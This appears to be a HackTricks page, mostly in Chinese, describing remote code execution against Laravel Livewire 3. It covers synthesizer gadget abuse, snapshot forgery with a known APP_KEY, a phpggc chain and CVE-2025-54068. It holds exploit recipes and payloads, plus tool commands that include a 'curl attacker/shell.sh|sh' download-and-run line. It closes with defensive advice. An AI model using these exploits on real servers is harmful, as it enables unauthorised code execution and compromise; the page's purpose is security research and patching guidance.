Laravel Livewire Hydration & Synthesizer 滥用

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Livewire 状态机回顾

Livewire 3 组件通过包含 datamemo 和校验和的 snapshots 交换状态。每次对 /livewire/update 的 POST 都会在服务器端将 JSON snapshot 重新反序列化并还原为状态,然后执行队列中的 calls/updates

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

任何持有 APP_KEY(用于派生 $hashKey)的人因此可以通过重新计算 HMAC 伪造任意快照。

复杂属性被编码为 合成元组,由 Livewire\Drawer\BaseUtils::isSyntheticTuple() 检测;每个元组为 [value, {"s":"<key>", ...meta}]。hydration core 只是将每个元组委托给 HandleComponents::$propertySynthesizers 中选定的 synth,并对子项递归处理:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

这种递归设计使 Livewire 成为一个 generic object-instantiation engine,一旦攻击者控制了元组的元数据或在递归过程中处理的任何嵌套元组。

授予 gadget 原语 的 Synthesizers

Synthesizer攻击者可控的行为
CollectionSynth (clctn)在重新水合每个子项后实例化 new $meta['class']($value)。任何具有数组构造函数的类都可以被创建,并且每个项本身也可以是一个合成元组。
FormObjectSynth (form)调用 new $meta['class']($component, $path),然后通过 $hydrateChild 将来自攻击者可控子项的每个 public 属性赋值。接收两个弱类型参数(或默认参数)的构造函数就足以访问任意 public 属性。
ModelSynth (mdl)当 meta 中缺少 key 时它会执行 return new $class;,允许对攻击者控制的任何类进行零参数实例化。

因为 synths 在每个嵌套元素上调用 $hydrateChild,所以可以通过递归地堆叠元组来构建任意的 gadget 图。

在已知 APP_KEY 时伪造快照

  1. 捕获一个合法的 /livewire/update 请求并解码 components[0].snapshot
  2. 注入指向 gadget 类的嵌套元组,并重新计算 checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY)
  3. 重新编码快照,保持 _token/memo 不变,然后重放该请求。

一个最小的执行证明使用 Guzzle 的 FnStreamFlysystem 的 ShardedPrefixPublicUrlGenerator。一个元组使用构造数据 { "__toString": "phpinfo" } 实例化 FnStream,下一个元组以 [FnStreamInstance] 作为 $prefixes 实例化 ShardedPrefixPublicUrlGenerator。当 Flysystem 将每个 prefix 强制转换为 string 时,PHP 会调用攻击者提供的 __toString 可调用对象,从而调用任何不带参数的函数。

从函数调用到完整的 RCE

利用 Livewire 的实例化原语,Synacktiv 改编了 phpggc 的 Laravel/RCE4 链,使水合(hydration)启动一个对象,该对象的 public Queueable 状态触发反序列化:

  1. Queueable trait – 任何使用 Illuminate\Bus\Queueable 的对象都暴露出 public $chained,并在 dispatchNextJobInChain() 中执行 unserialize(array_shift($this->chained))
  2. BroadcastEvent wrapper – 通过 CollectionSynth / FormObjectSynth 实例化 Illuminate\Broadcasting\BroadcastEvent(ShouldQueue),并填充其 public $chained
  3. phpggc Laravel/RCE4Adapted – 存储在 $chained[0] 中的序列化 blob 构建了 PendingBroadcast -> Validator -> SerializableClosure\Serializers\SignedSigned::__invoke() 最终调用 call_user_func_array($closure, $args),从而可以执行 system($cmd)
  4. 隐蔽终止 – 通过提供第二个 FnStream 可调用项,例如 [new Laravel\Prompts\Terminal(), 'exit'],请求以 exit() 结束,而不是产生嘈杂的异常,从而保持 HTTP 响应的干净。

自动化快照伪造

synacktiv/laravel-crypto-killer 现在提供一个 livewire 模式,将所有环节串联起来:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

该工具解析捕获的快照,注入 gadget tuples,重新计算校验和,并打印一个可直接发送的 /livewire/update payload。

CVE-2025-54068 – 无需 APP_KEY 的 RCE

根据厂商通告,该问题影响 Livewire v3 (>= 3.0.0-beta.1 and < 3.6.3),且仅存在于 v3。

updates 会合并到组件状态中,快照校验和被验证之后。如果快照内的某个属性是(或变成)synthetic tuple,Livewire 在为攻击者控制的 update 值做 hydrating 时会重用其 meta:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. 找到一个具有未声明类型的 Livewire public 属性(例如 public $count;)。
  2. 发送一个将该属性设置为 [] 的 update。下一次 snapshot 现在将其存储为 [[], {"s": "arr"}]

A minimal type-juggling flow looks like this:

POST /livewire/update
...
"updates": {"count": []}

Then the next snapshot stores a tuple that keeps the arr synthesizer metadata:

"count": [[], {"s": "arr"}]
  1. 构造另一个包含深度嵌套数组的 updates payload,内嵌元组例如 [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ]
  2. 在递归过程中,hydrate() 独立评估每个嵌套子项,因此即使外层元组和校验和从未改变,攻击者选择的 synth 键/类仍会被采纳。
  3. 重用相同的 CollectionSynth/FormObjectSynth 原语来实例化一个 Queueable gadget,其 $chained[0] 包含 phpggc payload。Livewire 处理伪造的 updates,调用 dispatchNextJobInChain(),并在不知道 APP_KEY 的情况下到达 system(<cmd>)

Key reasons this works:

  • updates are not covered by the snapshot checksum.
  • getMetaForPath() trusts whichever synth metadata already existed for that property even if the attacker previously forced it to become a tuple via weak typing.
  • 递归加上弱类型允许每个嵌套数组被解释为一个全新的元组,因此任意 synth 键和任意类最终都会到达 hydration。

Livepyre – end-to-end exploitation

Livepyre automates both the APP_KEY-less CVE and the signed-snapshot path:

  • Fingerprints the deployed Livewire version by parsing <script src="/livewire/livewire.js?id=HASH"> and mapping the hash to vulnerable releases.
  • Collects baseline snapshots by replaying benign actions and extracting components[].snapshot.
  • Generates either an updates-only payload (CVE-2025-54068) or a forged snapshot (known APP_KEY) embedding the phpggc chain.
  • If no object-typed parameter is found in a snapshot, Livepyre falls back to brute-forcing candidate params to reach a coercible property.

Typical usage:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check runs a non-destructive probe, -F skips version gating, -H and -P add custom headers or proxies, and --function/--param customise the php function invoked by the gadget chain.

防御注意事项

  • 升级到修复后的 Livewire 构建(>= 3.6.4,参见厂商公告)并部署针对 CVE-2025-54068 的厂商补丁。
  • 避免在 Livewire 组件中使用弱类型的 public 属性;显式的标量类型可以防止属性值被强制转换为数组/元组。
  • 只注册你真正需要的 synthesizers,并将用户可控的元数据 ($meta['class']) 视为不可信。
  • 拒绝那些改变属性 JSON 类型的更新(例如,scalar -> array),除非明确允许;并重新推导 synth metadata,而不是重用陈旧的元组。
  • 在任何泄露后应立即轮换 APP_KEY,因为无论代码库如何打补丁,泄露都会使离线快照伪造成为可能。

References

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks